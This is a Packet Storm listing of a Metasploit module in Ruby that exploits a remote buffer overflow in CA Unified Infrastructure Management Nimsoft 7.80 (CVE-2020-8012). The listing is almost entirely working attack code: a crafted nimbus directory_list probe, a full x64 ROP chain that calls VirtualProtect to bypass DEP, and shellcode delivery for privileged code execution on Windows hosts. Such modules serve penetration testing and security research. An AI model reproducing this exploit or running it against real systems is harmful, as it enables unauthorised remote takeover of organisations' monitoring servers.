Lucene search

K
packetstormWetw0rkPACKETSTORM:158693
HistoryJul 31, 2020 - 12:00 a.m.

CA Unified Infrastructure Management Nimsoft 7.80 Buffer Overflow

2020-07-3100:00:00
wetw0rk
packetstormsecurity.com
220

0.534 Medium

EPSS

Percentile

97.6%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller.  
The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list  
probe.  
  
Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the  
directory_list probe.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'wetw0rk' # Vulnerability Discovery and Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2020-8010' ], # CA UIM Probe Improper ACL Handling RCE (Multiple Attack Vectors)  
[ 'CVE', '2020-8012' ], # CA UIM nimbuscontroller Buffer Overflow RCE  
[ 'URL', 'https://support.broadcom.com/external/content/release-announcements/CA20200205-01-Security-Notice-for-CA-Unified-Infrastructure-Management/7832' ],  
[ 'PACKETSTORM', '156577' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'AUTORUNSCRIPT' => 'post/windows/manage/migrate'  
},  
'Payload' =>  
{  
'Space' => 2000,  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Arch' => ARCH_X64,  
'Targets' =>  
[  
[  
'Windows Universal (x64) - v7.80.3132',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X64],  
'Version' => '7.80 [Build 7.80.3132, Jun 1 2015]',  
'Ret' => 0x000000014006fd3d # pop rsp; or al, 0x00; add rsp, 0x0000000000000448 ; ret [controller.exe]  
}  
],  
],  
'Privileged' => true,  
'Notes' => { 'Stability' => [ CRASH_SAFE ] },  
'DisclosureDate' => 'Feb 05 2020',  
'DefaultTarget' => 0  
)  
)  
  
register_options(  
[  
OptString.new('DIRECTORY', [false, 'Directory path to obtain a listing', 'C:\\']),  
Opt::RPORT(48000),  
]  
)  
  
end  
  
# check: there are only two prerequisites to getting code execution. The version number  
# and access to the directory_list probe. The easiest way to get this information is to  
# ask nicely ;)  
def check  
  
connect  
  
sock.put(generate_probe('get_info', ['interfaces=0']))  
response = sock.get_once(4096)  
  
list_check = -1  
  
begin  
if target['Version'].in? response  
print_status("Version #{target['Version']} detected, sending directory_list probe")  
sock.put(generate_probe('directory_list', ["directory=#{datastore['DIRECTORY']}", 'detail=1']))  
list_check = parse_listing(sock.get_once(4096), datastore['DIRECTORY'])  
end  
ensure  
disconnect  
end  
  
if list_check == 0  
return CheckCode::Appears  
else  
return CheckCode::Safe  
end  
  
end  
  
def exploit  
  
super  
connect  
  
shellcode = make_nops(500)  
shellcode << payload.encoded  
  
offset = rand_text_alphanumeric(1000)  
offset += "\x0f" * 33  
  
heap_flip = [target.ret].pack('<Q*')  
  
alignment = rand_text_alphanumeric(7) # Adjustment for the initial chain  
rop_chain = generate_rsp_chain # Stage1: Stack alignment  
rop_chain += rand_text_alphanumeric(631) # Adjust for second stage  
rop_chain += generate_rop_chain # Stage2: GetModuleHandleA, GetProcAddressStub, VirtualProtectStub  
rop_chain += rand_text_alphanumeric((3500 - # ROP chain MUST be 3500 bytes, or exploitation WILL fail  
rop_chain.length  
  
))  
rop_chain += "kernel32.dll\x00"  
rop_chain += "VirtualProtect\x00"  
  
trigger = "\x10" * (8000 - (  
offset.length +  
heap_flip.length +  
alignment.length +  
rop_chain.length +  
shellcode.length  
)  
)  
  
buffer = offset + heap_flip + alignment + rop_chain + shellcode + trigger  
exploit_packet = generate_probe(  
'directory_list',  
["directory=#{buffer}"]  
)  
  
sock.put(exploit_packet)  
  
disconnect  
  
end  
  
# generate_rsp_chain: This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes  
# otherwise our call will fail. I had VP work 50% of the time when the stack was unaligned.  
def generate_rsp_chain  
  
rop_gadgets = [0x0000000140018c42] * 20 # ret  
rop_gadgets += [  
0x0000000140002ef6, # pop rax ; ret  
0x00000001401a3000, # *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )  
0x00000001400af237, # pop rdi ; ret  
0x0000000000000007, # alignment for rsp  
0x0000000140025dab  
] # add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret  
  
return rop_gadgets.pack('<Q*')  
  
end  
  
# generate_rop_chain: This chain will craft function calls to GetModuleHandleA, GetProcAddressStub,  
# and finally VirtualProtectStub. Once completed, we have bypassed DEP and can get code execution.  
# Since we dynamically generate VirtualProtectStub, we needn't worry about other OS's.  
def generate_rop_chain  
  
# RAX -> HMODULE GetModuleHandleA(  
# ( RCX == *module ) LPCSTR lpModuleName,  
# );  
rop_gadgets = [0x0000000140018c42] * 15 # ret  
rop_gadgets += [  
0x0000000140002ef6, # pop rax ; ret  
0x0000000000000000, # (zero out rax)  
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000  
] #  
rop_gadgets += [0x0000000140018c42] * 10 # ret  
rop_gadgets += [  
0x0000000140131643, # pop rcx ; ret  
0x00000000000009dd, # offset to "kernel32.dll"  
0x000000014006d8d8  
] # add rax, rcx ; add rsp, 0x38 ; ret  
  
rop_gadgets += [0x0000000140018c42] * 15 # ret  
  
rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret  
rop_gadgets += [  
0x0000000140002ef6, # pop rax ; ret  
0x000000014015e310, # GetModuleHandleA (0x00000000014015E330-20)  
0x00000001400d1161  
] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret  
rop_gadgets += [0x0000000140018c42] * 17 # ret  
  
# RAX -> FARPROC GetProcAddressStub(  
# ( RCX == &addr ) HMODULE hModule,  
# ( RDX == *module ) lpProcName  
# );  
rop_gadgets += [  
0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule)  
0x0000000140002ef6, # pop rax ; ret  
0x0000000000000000, # (zero out rax)  
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000  
] #  
rop_gadgets += [0x0000000140018c42] * 10 # ret  
rop_gadgets += [  
0x0000000140131643, # pop rcx ; ret  
0x0000000000000812, # offset to "virtualprotectstub"  
0x000000014006d8d8  
] # add rax, rcx ; add rsp, 0x38 ; ret  
rop_gadgets += [0x0000000140018c42] * 15 # ret  
rop_gadgets += [0x0000000140135e39] # mov edx, eax ; mov rbx, qword [rsp+0x30] ; mov rbp, qword [rsp+0x38] ; mov rsi, qword [rsp+0x40]  
# mov rdi, qword [rsp+0x48] ; mov eax, edx ; add rsp, 0x20 ; pop r12 ; ret  
  
rop_gadgets += [0x0000000140018c42] * 10 # ret  
rop_gadgets += [0x00000001400d1ab8] # mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret  
rop_gadgets += [0x0000000140018c42] * 10 # ret  
rop_gadgets += [0x0000000140111ca1] # xchg rax, r13 ; or al, 0x00 ; ret  
rop_gadgets += [  
0x00000001400cf3d5, # mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000  
] #  
rop_gadgets += [0x0000000140018c42] * 6 # ret  
rop_gadgets += [  
0x0000000140002ef6, # pop rax ; ret  
0x000000014015e318  
] # GetProcAddressStub (0x00000000014015e338-20)  
rop_gadgets += [0x00000001400d1161] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret  
rop_gadgets += [0x0000000140018c42] * 17 # ret  
  
# RAX -> BOOL VirtualProtectStub(  
# ( RCX == *shellcode ) LPVOID lpAddress,  
# ( RDX == len(shellcode) ) SIZE_T dwSize,  
# ( R8 == 0x0000000000000040 ) DWORD flNewProtect,  
# ( R9 == *writeable location ) PDWORD lpflOldProtect,  
# );  
rop_gadgets += [  
0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub)  
0x000000014013d651, # pop r12 ; ret  
0x00000001401fb000, # *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )  
0x00000001400eba74  
] # or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret  
rop_gadgets += [0x0000000140018c42] * 10 # ret  
rop_gadgets += [  
0x0000000140002ef6, # pop rax ; ret  
0x0000000000000000  
]  
rop_gadgets += [  
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000  
] #  
rop_gadgets += [0x0000000140018c42] * 10 # ret  
rop_gadgets += [  
0x0000000140131643, # pop rcx ; ret  
0x000000000000059f, # (offset to *shellcode)  
0x000000014006d8d8  
] # add rax, rcx ; add rsp, 0x38 ; ret  
rop_gadgets += [0x0000000140018c42] * 15 # ret  
rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret  
rop_gadgets += [  
0x00000001400496a2, # pop rdx ; ret  
0x00000000000005dc  
] # dwSize  
rop_gadgets += [  
0x00000001400bc39c, # pop r8 ; ret  
0x0000000000000040  
] # flNewProtect  
rop_gadgets += [0x00000001400c5f8a] # mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub)  
rop_gadgets += [0x0000000140018c42] * 17 # ret  
rop_gadgets += [0x00000001400a0b55] # call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h]  
# mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret  
  
rop_gadgets += [0x0000000140018c42] * 20 # ret  
  
rop_gadgets += [  
0x0000000140002ef6, # pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE)  
0x0000000000000000, # (zero out rax)  
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000  
] #  
rop_gadgets += [0x0000000140018c42] * 10 # ret  
rop_gadgets += [  
0x0000000140131643, # pop rcx ; ret  
0x0000000000000317, # (offset to our shellcode)  
0x000000014006d8d8  
] # add rax, rcx ; add rsp, 0x38 ; ret  
rop_gadgets += [0x0000000140018c42] * 15 # ret  
rop_gadgets += [0x00000001400a9747] # jmp rax  
rop_gadgets += [0x0000000140018c42] * 20 # ret (do not remove)  
  
return rop_gadgets.pack('<Q*')  
  
end  
  
# parse_listing: once the directory_list probe is sent we're returned a directory listing  
# unfortunately it's hard to read this simply "decodes" it  
def parse_listing(response, directory)  
  
result = { 'name' => '', 'date' => '', 'size' => '', 'type' => '' }  
i = 0  
  
begin  
dirlist = response.split('\x00')[0].split("\x00")  
index = dirlist.index('entry') + 3  
final = dirlist[index..-1]  
rescue StandardError  
print_error('Failed to gather directory listing')  
return -1  
end  
  
print_line("\n Directory of #{directory}\n")  
  
check = 0  
name = 0  
ftime = 0  
size = 0  
ftype = 0  
  
while i < final.length  
  
if name == 1  
unless final[i].to_i > 0  
result['name'] = final[i]  
name = 0  
check += 1  
end  
end  
if size >= 1  
if size == 3  
result['size'] = final[i]  
size = 0  
check += 1  
else  
size += 1  
end  
end  
if ftype >= 1  
if ftype == 3  
result['type'] = final[i]  
ftype = 0  
check += 1  
else  
ftype += 1  
end  
end  
if ftime >= 1  
if ftime == 3  
result['date'] = final[i]  
ftime = 0  
check += 1  
else  
ftime += 1  
end  
end  
  
if final[i].include? 'name'  
name = 1  
end  
if final[i].include? 'size'  
size = 1  
end  
if final[i].include? 'size'  
ftype = 1  
end  
if final[i].include? 'last_modified'  
ftime = 1  
end  
  
i += 1  
  
next unless check == 4  
  
if result['type'] == '2'  
result['type'] = ''  
else  
result['type'] = '<DIR>'  
result['size'] = ''  
end  
  
begin  
time = Time.at(result['date'].to_i)  
timestamp = time.strftime('%m/%d/%Y %I:%M %p')  
rescue StandardError  
timestamp = '??/??/???? ??:?? ??'  
end  
  
print_line(format('%20<timestamp>s %6<type>s %<name>s', timestamp: timestamp, type: result['type'], name: result['name']))  
  
check = 0  
end  
print_line('')  
return 0  
end  
  
# generate_probe: The nimcontroller utilizes the closed source protocol nimsoft so we need to specially  
# craft probes in order for the controller to accept any input.  
def generate_probe(probe, args)  
  
client = "#{rand_text_alphanumeric(14)}\x00"  
packet_args = ''  
probe += "\x00"  
  
for arg in args  
  
c = ''  
i = 0  
  
while c != '='  
  
c = arg[i]  
i += 1  
  
end  
  
packet_args << "#{arg[0, (i - 1)]}\x00"  
packet_args << "1\x00#{arg[i..-1].length + 1}\x00"  
packet_args << "#{arg[i..-1]}\x00"  
  
end  
  
packet_header = 'nimbus/1.0 ' # nimbus header (length of body) (length of args)  
packet_body = "mtype\x00" # mtype  
packet_body << "7\x004\x00100\x00" # 7.4.100  
packet_body << "cmd\x00" # cmd  
packet_body << "7\x00#{probe.length}\x00" # 7.(length of probe)  
packet_body << probe # probe  
packet_body << "seq\x00" # seq  
packet_body << "1\x002\x000\x00" # 1.2.0  
packet_body << "ts\x00" # ts  
packet_body << "1\x0011\x00#{rand_text_alphanumeric(10)}\x00" # 1.11.(UNIX EPOCH TIME)  
packet_body << "frm\x00" # frm  
packet_body << "7\x00#{client.length}\x00" # 7.(length of client)  
packet_body << client # client address  
packet_body << "tout\x00" # tout  
packet_body << "1\x004\x00180\x00" # 1.4.180  
packet_body << "addr\x00" # addr  
packet_body << "7\x000\x00" # 7.0  
#  
# probe packet arguments (dynamic)  
# argument  
# length of arg value  
# argument value  
  
packet_header << "#{packet_body.length} #{packet_args.length}\r\n"  
probe = packet_header + packet_body + packet_args  
  
return probe  
  
end  
  
end  
`